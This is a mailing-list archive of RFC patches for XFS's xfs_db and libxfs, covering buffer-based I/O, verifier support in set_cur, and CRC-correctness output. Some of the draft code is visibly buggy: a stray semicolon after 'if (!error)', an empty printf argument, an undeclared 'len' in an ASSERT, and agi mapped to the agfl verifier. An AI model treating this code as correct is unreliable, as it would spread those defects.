@@ -104,8 +104,12 @@ pop_cur(void) dbprintf(_("can't pop anything from I/O stack\n")); return; } - if (iocur_top->buf) - xfree(iocur_top->buf); + if (iocur_top->bp) + libxfs_putbuf(iocur_top->bp); + if (iocur_top->bbmap) { + free(iocur_top->bbmap); + iocur_top->bbmap = NULL; + } if (--iocur_sp >= 0) { iocur_top = iocur_base + iocur_sp; cur_typ = iocur_top->typ; @@ -147,10 +151,11 @@ print_iocur( dbprintf(_("\tbuffer block %lld (fsbno %lld), %d bb%s\n"), ioc->bb, (xfs_dfsbno_t)XFS_DADDR_TO_FSB(mp, ioc->bb), ioc->blen, ioc->blen == 1 ? "" : "s"); - if (ioc->use_bbmap) { + if (ioc->bbmap) { dbprintf(_("\tblock map")); - for (i = 0; i < ioc->blen; i++) - dbprintf(" %d:%lld", i, ioc->bbmap.b[i]); + for (i = 0; i < ioc->bbmap->nmaps; i++) + dbprintf(" %lld:%d", ioc->bbmap->b[i].bm_bn, + ioc->bbmap->b[i].bm_len); dbprintf("\n"); } dbprintf(_("\tinode %lld, dir inode %lld, type %s\n"), ioc->ino, @@ -238,7 +243,7 @@ push_f( else set_cur(iocur_top[-1].typ, iocur_top[-1].bb, iocur_top[-1].blen, DB_RING_IGN, - iocur_top[-1].use_bbmap ? &iocur_top[-1].bbmap : NULL); + iocur_top[-1].bbmap); /* run requested command */ if (argc>1) @@ -280,8 +285,7 @@ forward_f( iocur_ring[ring_current].bb, iocur_ring[ring_current].blen, DB_RING_IGN, - iocur_ring[ring_current].use_bbmap ? - &iocur_ring[ring_current].bbmap : NULL); + iocur_ring[ring_current].bbmap); return 0; } @@ -321,8 +325,7 @@ back_f( iocur_ring[ring_current].bb, iocur_ring[ring_current].blen, DB_RING_IGN, - iocur_ring[ring_current].use_bbmap ? - &iocur_ring[ring_current].bbmap : NULL); + iocur_ring[ring_current].bbmap); return 0; } @@ -362,7 +365,7 @@ ring_f( iocur_ring[index].bb, iocur_ring[index].blen, DB_RING_IGN, - iocur_ring[index].use_bbmap ? &iocur_ring[index].bbmap : NULL); + iocur_ring[index].bbmap); return 0; } @@ -417,132 +420,37 @@ ring_add(void) } } -int -read_buf( - xfs_daddr_t bbno, - int count, - void *bufp) -{ - int err; - - err = pread64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); - if (err < 0) - err = errno; - else if (err < count) - err = -1; - return err; -} - -static int -write_buf( - xfs_daddr_t bbno, - int count, - void *bufp) -{ - int err; - - err = pwrite64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); - if (err < 0) - err = errno; - else if (err < count) - err = -1; - return err; -} - static void write_cur_buf(void) { int ret; - ret = write_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); - - if (ret == -1) - dbprintf(_("incomplete write, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = libxfs_writebufr(iocur_top->bp); + if (ret != 0) dbprintf(_("write error: %s\n"), strerror(ret)); /* re-read buffer from disk */ - ret = read_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); - if (ret == -1) - dbprintf(_("incomplete read, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = libxfs_readbufr(mp->m_ddev_targp, iocur_top->bb, iocur_top->bp, + iocur_top->blen, 0); + if (ret != 0) dbprintf(_("read error: %s\n"), strerror(ret)); } -static int -write_bbs( - __int64_t bbno, - int count, - void *bufp, - bbmap_t *bbmap) -{ - int j; - int rval = EINVAL; /* initialize for zero `count' case */ - - for (j = 0; j < count;) { - rval = write_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, - (char *)bufp + BBTOB(j)); - if (rval) - break; - - j += bbmap->b[j].bm_len; - } - return rval; -} - -static int -read_bbs( - __int64_t bbno, - int count, - void **bufp, - bbmap_t *bbmap) -{ - void *buf; - int j; - int rval = EINVAL; - - if (count <= 0) - count = 1; - - if (*bufp == NULL) - buf = xmalloc(BBTOB(count)); - else - buf = *bufp; - for (j = 0; j < count;) { - rval = read_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, - (char *)buf + BBTOB(j)); - if (rval) - break; - - j += bbmap->b[j].bm_len; - } - if (*bufp == NULL) - *bufp = buf; - return rval; -} - static void write_cur_bbs(void) { int ret; - ret = write_bbs(iocur_top->bb, iocur_top->blen, iocur_top->buf, - &iocur_top->bbmap); - if (ret == -1) - dbprintf(_("incomplete write, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = libxfs_writebufr(iocur_top->bp); + if (ret != 0) dbprintf(_("write error: %s\n"), strerror(ret)); + /* re-read buffer from disk */ - ret = read_bbs(iocur_top->bb, iocur_top->blen, &iocur_top->buf, - iocur_top->use_bbmap ? &iocur_top->bbmap : NULL); - if (ret == -1) - dbprintf(_("incomplete read, block: %lld\n"), - (iocur_base + iocur_sp)->bb); - else if (ret != 0) + ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, + iocur_top->bbmap->b, iocur_top->bbmap->nmaps, + 0); + if (ret != 0) dbprintf(_("read error: %s\n"), strerror(ret)); } @@ -554,7 +462,7 @@ write_cur(void) return; } - if (iocur_top->use_bbmap) + if (iocur_top->bbmap) write_cur_bbs(); else write_cur_buf(); @@ -568,6 +476,7 @@ set_cur( int ring_flag, bbmap_t *bbmap) { + struct xfs_buf *bp; xfs_ino_t dirino; xfs_ino_t ino; __uint16_t mode; @@ -587,21 +496,20 @@ set_cur( #ifdef DEBUG printf(_("xfs_db got a bbmap for %lld\n"), (long long)d); #endif - - if (read_bbs(d, c, &iocur_top->buf, bbmap)) + iocur_top->bbmap = malloc(sizeof(struct bbmap)); + if (!iocur_top->bbmap) return; - iocur_top->bbmap = *bbmap; - iocur_top->use_bbmap = 1; + memcpy(iocur_top->bbmap, bbmap, sizeof(struct bbmap)); + bp = libxfs_readbuf_map(mp->m_ddev_targp, bbmap->b, + bbmap->nmaps, 0, NULL); } else { - if (!iocur_top->buf) { - iocur_top->buf = malloc(BBTOB(c)); - if (!iocur_top->buf) - return; - } - if (read_buf(d, c, iocur_top->buf)) - return; - iocur_top->use_bbmap = 0; + bp = libxfs_readbuf(mp->m_ddev_targp, d, c, 0, NULL); + iocur_top->bbmap = NULL; } + if (!bp || bp->b_error) + return; + iocur_top->buf = bp->b_addr; + iocur_top->bp = bp; iocur_top->bb = d; iocur_top->blen = c; diff --git a/db/io.h b/db/io.h index 0f7c018..2c47ccc 100644 --- a/db/io.h +++ b/db/io.h @@ -20,6 +20,7 @@ struct typ; #define BBMAP_SIZE (XFS_MAX_BLOCKSIZE / BBSIZE) typedef struct bbmap { + int nmaps; struct xfs_buf_map b[BBMAP_SIZE]; } bbmap_t; @@ -35,8 +36,8 @@ typedef struct iocur { __uint16_t mode; /* current inode's mode */ xfs_off_t off; /* fs offset of "data" in bytes */ const struct typ *typ; /* type of "data" */ - int use_bbmap; /* set if bbmap is valid */ - bbmap_t bbmap; /* map daddr if fragmented */ + bbmap_t *bbmap; /* map daddr if fragmented */ + struct xfs_buf *bp; /* underlying buffer */ } iocur_t; #define DB_RING_ADD 1 /* add to ring on set_cur */ diff --git a/include/libxfs.h b/include/libxfs.h index ffd83bf..bee0663 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -437,7 +437,10 @@ extern xfs_buf_t *libxfs_getbufr(struct xfs_buftarg *, xfs_daddr_t, int); extern void libxfs_putbufr(xfs_buf_t *); extern int libxfs_writebuf_int(xfs_buf_t *, int); +extern int libxfs_writebufr(struct xfs_buf *); extern int libxfs_readbufr(struct xfs_buftarg *, xfs_daddr_t, xfs_buf_t *, int, int); +extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, + struct xfs_buf_map *, int, int); extern int libxfs_bhash_size; extern int libxfs_ihash_size; diff --git a/libxfs/init.c b/libxfs/init.c index db7eeea..229aa50 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -688,6 +688,9 @@ libxfs_mount( libxfs_buftarg_init(mp, dev, logdev, rtdev); mp->m_flags = (LIBXFS_MOUNT_32BITINODES|LIBXFS_MOUNT_32BITINOOPT); + if (flags & LIBXFS_MOUNT_ROOTINOS) + mp->m_flags |= LIBXFS_MOUNT_ROOTINOS; + mp->m_sb = *sb; INIT_RADIX_TREE(&mp->m_perag_tree, GFP_KERNEL); sbp = &(mp->m_sb); @@ -866,6 +869,8 @@ libxfs_umount(xfs_mount_t *mp) int agno; libxfs_rtmount_destroy(mp); + if ((mp->m_flags & LIBXFS_MOUNT_ROOTINOS) && mp->m_rootip) + libxfs_iput(mp->m_rootip, 0); libxfs_icache_purge(); libxfs_bcache_purge(); diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 13dbd23..8d8bcfc 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -719,30 +719,18 @@ libxfs_readbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len, int flags, return bp; } -struct xfs_buf * -libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, - int flags, const struct xfs_buf_ops *ops) +int +libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, + struct xfs_buf_map *map, int nmaps, int flags) { - xfs_buf_t *bp; - int error = 0; - int fd; - int i; - char *buf; - - if (nmaps == 1) - return libxfs_readbuf(btp, map[0].bm_bn, map[0].bm_len, - flags, ops); - - bp = libxfs_getbuf_map(btp, map, nmaps); - if (!bp) - return NULL; + int fd = libxfs_device_to_fd(btp->dev); + int error = 0; + char *buf; + int i; - bp->b_error = 0; - bp->b_ops = ops; - if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) - return bp; + ASSERT(BBTOB(len) <= bp->b_bcount); - ASSERT(bp->b_nmaps = nmaps); + ASSERT(bp->b_nmaps == nmaps); fd = libxfs_device_to_fd(btp->dev); buf = bp->b_addr; @@ -762,6 +750,37 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, offset += len; } + if (!error); + bp->b_flags |= LIBXFS_B_UPTODATE; +#ifdef IO_DEBUG + printf("%lx: %s: read %u bytes, error %d, blkno=0x%llx(0x%llx), %p\n", + pthread_self(), __FUNCTION__, , error, + (long long)LIBXFS_BBTOOFF64(blkno), (long long)blkno, bp); +#endif + return error; +} + +struct xfs_buf * +libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, + int flags, const struct xfs_buf_ops *ops) +{ + struct xfs_buf *bp; + int error = 0; + + if (nmaps == 1) + return libxfs_readbuf(btp, map[0].bm_bn, map[0].bm_len, + flags, ops); + + bp = libxfs_getbuf_map(btp, map, nmaps); + if (!bp) + return NULL; + + bp->b_error = 0; + bp->b_ops = ops; + if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) + return bp; + + error = libxfs_readbufr_map(btp, bp, map, nmaps, flags); if (!error) { bp->b_flags |= LIBXFS_B_UPTODATE; if (bp->b_ops) -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B1F517F52 for ; Thu, 5 Sep 2013 07:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A0C83304053 for ; Thu, 5 Sep 2013 05:13:43 -0700 (PDT) X-ASG-Debug-ID: 1378383220-04cbb02c3ed64160002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id IaWXr03XSeybPEqq for ; Thu, 05 Sep 2013 05:13:41 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvESIIGDE5AxsZiAG6VZQEA6IkhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GQ-MT for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004EX-L9 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 06/12] db: introduce verifier support into set_cur Date: Thu, 5 Sep 2013 22:13:27 +1000 X-ASG-Orig-Subj: [RFC PATCH 06/12] db: introduce verifier support into set_cur Message-Id: <1378383213-16155-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383221 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To be able to use read and write verifiers, we need to pass the verifier to the IO routines. We do this via the set_cur() function used to trigger reading the buffer. For most metadata types, there is only one type of verifier needed. For these, we can simply add the verifier to the type table entry for the given type and use that directly. This type entry is already carried around by the IO context, so if we ever need to get it again we have direct access to it in the context we'll be doing IO. Only attach the verifiers to the v5 filesystem type table; there is not need for them on v4 filesystems as we don't have to verify or calculate CRCs for them. There are some metadata types that have more than one buffer format, or aren't based in directly in buffers. For these, leave the type table verifier NULL for now - these will need to be addressed individually. Signed-off-by: Dave Chinner --- db/io.c | 13 +++++++--- db/type.c | 88 ++++++++++++++++++++++++++++++++++----------------------------- db/type.h | 1 + 3 files changed, 59 insertions(+), 43 deletions(-) diff --git a/db/io.c b/db/io.c index abfbca4..d6e1d28 100644 --- a/db/io.c +++ b/db/io.c @@ -480,12 +480,14 @@ set_cur( xfs_ino_t dirino; xfs_ino_t ino; __uint16_t mode; + const struct xfs_buf_ops *ops = t ? t->bops : NULL; if (iocur_sp < 0) { dbprintf(_("set_cur no stack element to set\n")); return; } + ino = iocur_top->ino; dirino = iocur_top->dirino; mode = iocur_top->mode; @@ -501,12 +503,17 @@ set_cur( return; memcpy(iocur_top->bbmap, bbmap, sizeof(struct bbmap)); bp = libxfs_readbuf_map(mp->m_ddev_targp, bbmap->b, - bbmap->nmaps, 0, NULL); + bbmap->nmaps, 0, ops); } else { - bp = libxfs_readbuf(mp->m_ddev_targp, d, c, 0, NULL); + bp = libxfs_readbuf(mp->m_ddev_targp, d, c, 0, ops); iocur_top->bbmap = NULL; } - if (!bp || bp->b_error) + + /* + * keep the buffer even if the verifier says it is corrupted. + * We're a diagnostic tool, after all. + */ + if (!bp || (bp->b_error && bp->b_error != EFSCORRUPTED)) return; iocur_top->buf = bp->b_addr; iocur_top->bp = bp; diff --git a/db/type.c b/db/type.c index 64e2ef4..b3f3d87 100644 --- a/db/type.c +++ b/db/type.c @@ -50,50 +50,58 @@ static const cmdinfo_t type_cmd = N_("set/show current data type"), NULL }; static const typ_t __typtab[] = { - { TYP_AGF, "agf", handle_struct, agf_hfld }, - { TYP_AGFL, "agfl", handle_struct, agfl_hfld }, - { TYP_AGI, "agi", handle_struct, agi_hfld }, - { TYP_ATTR, "attr", handle_struct, attr_hfld }, - { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_hfld }, - { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_hfld }, - { TYP_BNOBT, "bnobt", handle_struct, bnobt_hfld }, - { TYP_CNTBT, "cntbt", handle_struct, cntbt_hfld }, - { TYP_DATA, "data", handle_block, NULL }, - { TYP_DIR2, "dir2", handle_struct, dir2_hfld }, - { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld }, - { TYP_INOBT, "inobt", handle_struct, inobt_hfld }, - { TYP_INODATA, "inodata", NULL, NULL }, - { TYP_INODE, "inode", handle_struct, inode_hfld }, - { TYP_LOG, "log", NULL, NULL }, - { TYP_RTBITMAP, "rtbitmap", NULL, NULL }, - { TYP_RTSUMMARY, "rtsummary", NULL, NULL }, - { TYP_SB, "sb", handle_struct, sb_hfld }, - { TYP_SYMLINK, "symlink", handle_string, NULL }, - { TYP_TEXT, "text", handle_text, NULL }, + { TYP_AGF, "agf", handle_struct, agf_hfld, NULL }, + { TYP_AGFL, "agfl", handle_struct, agfl_hfld, NULL }, + { TYP_AGI, "agi", handle_struct, agi_hfld, NULL }, + { TYP_ATTR, "attr", handle_struct, attr_hfld, NULL }, + { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_hfld, NULL }, + { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_hfld, NULL }, + { TYP_BNOBT, "bnobt", handle_struct, bnobt_hfld, NULL }, + { TYP_CNTBT, "cntbt", handle_struct, cntbt_hfld, NULL }, + { TYP_DATA, "data", handle_block, NULL, NULL }, + { TYP_DIR2, "dir2", handle_struct, dir2_hfld, NULL }, + { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, NULL }, + { TYP_INOBT, "inobt", handle_struct, inobt_hfld, NULL }, + { TYP_INODATA, "inodata", NULL, NULL, NULL }, + { TYP_INODE, "inode", handle_struct, inode_hfld, NULL }, + { TYP_LOG, "log", NULL, NULL, NULL }, + { TYP_RTBITMAP, "rtbitmap", NULL, NULL, NULL }, + { TYP_RTSUMMARY, "rtsummary", NULL, NULL, NULL }, + { TYP_SB, "sb", handle_struct, sb_hfld, NULL }, + { TYP_SYMLINK, "symlink", handle_string, NULL, NULL }, + { TYP_TEXT, "text", handle_text, NULL, NULL }, { TYP_NONE, NULL } }; static const typ_t __typtab_crc[] = { - { TYP_AGF, "agf", handle_struct, agf_hfld }, - { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld }, - { TYP_AGI, "agi", handle_struct, agi_hfld }, - { TYP_ATTR, "attr3", handle_struct, attr3_hfld }, - { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld }, - { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_crc_hfld }, - { TYP_BNOBT, "bnobt", handle_struct, bnobt_crc_hfld }, - { TYP_CNTBT, "cntbt", handle_struct, cntbt_crc_hfld }, - { TYP_DATA, "data", handle_block, NULL }, - { TYP_DIR2, "dir3", handle_struct, dir3_hfld }, - { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld }, - { TYP_INOBT, "inobt", handle_struct, inobt_crc_hfld }, - { TYP_INODATA, "inodata", NULL, NULL }, - { TYP_INODE, "inode", handle_struct, inode_crc_hfld }, - { TYP_LOG, "log", NULL, NULL }, - { TYP_RTBITMAP, "rtbitmap", NULL, NULL }, - { TYP_RTSUMMARY, "rtsummary", NULL, NULL }, - { TYP_SB, "sb", handle_struct, sb_hfld }, - { TYP_SYMLINK, "symlink", handle_struct, symlink_crc_hfld }, - { TYP_TEXT, "text", handle_text, NULL }, + { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, + { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, + { TYP_ATTR, "attr3", handle_struct, attr3_hfld, NULL }, + { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, + &xfs_bmbt_buf_ops }, + { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_crc_hfld, + &xfs_bmbt_buf_ops }, + { TYP_BNOBT, "bnobt", handle_struct, bnobt_crc_hfld, + &xfs_allocbt_buf_ops }, + { TYP_CNTBT, "cntbt", handle_struct, cntbt_crc_hfld, + &xfs_allocbt_buf_ops }, + { TYP_DATA, "data", handle_block, NULL, NULL }, + { TYP_DIR2, "dir3", handle_struct, dir3_hfld, NULL }, + { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, + &xfs_dquot_buf_ops }, + { TYP_INOBT, "inobt", handle_struct, inobt_crc_hfld, + &xfs_inobt_buf_ops }, + { TYP_INODATA, "inodata", NULL, NULL, NULL }, + { TYP_INODE, "inode", handle_struct, inode_crc_hfld, + &xfs_inode_buf_ops }, + { TYP_LOG, "log", NULL, NULL, NULL }, + { TYP_RTBITMAP, "rtbitmap", NULL, NULL, NULL }, + { TYP_RTSUMMARY, "rtsummary", NULL, NULL, NULL }, + { TYP_SB, "sb", handle_struct, sb_hfld, &xfs_sb_buf_ops }, + { TYP_SYMLINK, "symlink", handle_struct, symlink_crc_hfld, + &xfs_symlink_buf_ops }, + { TYP_TEXT, "text", handle_text, NULL, NULL }, { TYP_NONE, NULL } }; diff --git a/db/type.h b/db/type.h index c41aca4d..3bb26f1 100644 --- a/db/type.h +++ b/db/type.h @@ -42,6 +42,7 @@ typedef struct typ char *name; pfunc_t pfunc; const struct field *fields; + const struct xfs_buf_ops *bops; } typ_t; extern const typ_t *typtab, *cur_typ; -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D61457F60 for ; Thu, 5 Sep 2013 07:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C5496304053 for ; Thu, 5 Sep 2013 05:13:46 -0700 (PDT) X-ASG-Debug-ID: 1378383221-04cbb02c3cd64160003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id pmeClEOLRbtCvIbA for ; Thu, 05 Sep 2013 05:13:44 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhYJAHF0KFJ5LJ62/2dsb2JhbABbgweuVJJsgjQXdIIkAQEFJy8zCBgxOQMbGYgBulWUBAOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GR-N7 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004Ec-M1 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 07/12] db: indicate if the CRC on a buffer is correct or not Date: Thu, 5 Sep 2013 22:13:28 +1000 X-ASG-Orig-Subj: [RFC PATCH 07/12] db: indicate if the CRC on a buffer is correct or not Message-Id: <1378383213-16155-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383224 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When dumping metadata that has a CRC in it, output not only the CRC but text to tell us whether the value is correct or not. Hence we can see at a glance if there's something wrong or not. Do this by peeking at the buffer attached to the current IO contexted. If there was a CRC error, then it will be marked with a EFSCORRUPTED error. Use this to determine what to output. Signed-off-by: Dave Chinner --- db/agf.c | 2 +- db/agfl.c | 2 +- db/agi.c | 2 +- db/btblock.c | 10 +++++----- db/dir2.c | 4 ++-- db/dquot.c | 2 +- db/field.c | 5 +++++ db/field.h | 4 ++++ db/fprint.c | 39 +++++++++++++++++++++++++++++++++++++++ db/fprint.h | 2 ++ db/inode.c | 2 +- db/io.h | 6 ++++++ db/sb.c | 2 +- db/symlink.c | 2 +- 14 files changed, 70 insertions(+), 14 deletions(-) diff --git a/db/agf.c b/db/agf.c index 389cb43..d9a07ca 100644 --- a/db/agf.c +++ b/db/agf.c @@ -71,7 +71,7 @@ const field_t agf_flds[] = { { "btreeblks", FLDT_UINT32D, OI(OFF(btreeblks)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { NULL } }; diff --git a/db/agfl.c b/db/agfl.c index e2340e6..b29538f 100644 --- a/db/agfl.c +++ b/db/agfl.c @@ -58,7 +58,7 @@ const field_t agfl_crc_flds[] = { { "seqno", FLDT_AGNUMBER, OI(OFF(seqno)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { "bno", FLDT_AGBLOCKNZ, OI(OFF(bno)), agfl_bno_size, FLD_ARRAY|FLD_COUNT, TYP_DATA }, { NULL } diff --git a/db/agi.c b/db/agi.c index 6b2e889..398bdbb 100644 --- a/db/agi.c +++ b/db/agi.c @@ -56,7 +56,7 @@ const field_t agi_flds[] = { CI(XFS_AGI_UNLINKED_BUCKETS), FLD_ARRAY, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { NULL } }; diff --git a/db/btblock.c b/db/btblock.c index 34188db..1ea0cff 100644 --- a/db/btblock.c +++ b/db/btblock.c @@ -295,7 +295,7 @@ const field_t bmapbta_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.l.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_INO, OI(OFF(u.l.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_BMAPBTAREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_BMAPBTAKEY, btblock_key_offset, btblock_key_count, @@ -314,7 +314,7 @@ const field_t bmapbtd_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.l.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_INO, OI(OFF(u.l.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_BMAPBTDREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_BMAPBTDKEY, btblock_key_offset, btblock_key_count, @@ -405,7 +405,7 @@ const field_t inobt_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, { "owner", 